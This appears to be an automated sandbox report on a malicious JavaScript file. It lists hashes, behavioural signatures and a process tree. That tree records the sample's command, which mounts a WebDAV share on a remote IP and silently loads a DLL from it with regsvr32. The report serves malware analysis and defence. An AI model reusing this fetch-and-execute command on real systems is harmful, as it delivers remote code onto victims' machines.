Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
23-07-2024 01:59
Static task
static1
Behavioral task
behavioral1
Sample
481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435.js
Resource
win10v2004-20240709-en
General
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Target
481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435.js
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Size
5KB
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MD5
faa51a9a2d6453c9891d0c6da588b909
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SHA1
35abea292f696cae0732eb6d92bf16453ff05370
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SHA256
481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435
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SHA512
e4c03a74970f48f920676832a6813d669da7c6bc59e849a01fd0f7024fa4622bc9e9ad1c70b2bcdc296422edfce1470ac82a787a0e54943c7a2ce64f25392c61
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SSDEEP
96:suHBvkYxuYFYrYrY/FYlYUYcLRQYrYUYk5YghhrYxuYbYFYxuYK4YiYxuYRQYvLw:7B8fC2gwQ/lQg/xDhVfUCfotfmQGQg/q
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3024 wrote to memory of 2780 3024 wscript.exe 30 PID 3024 wrote to memory of 2780 3024 wscript.exe 30 PID 3024 wrote to memory of 2780 3024 wscript.exe 30 PID 2780 wrote to memory of 2712 2780 cmd.exe 32 PID 2780 wrote to memory of 2712 2780 cmd.exe 32 PID 2780 wrote to memory of 2712 2780 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435.js1⤵
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\291051540225262.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2712
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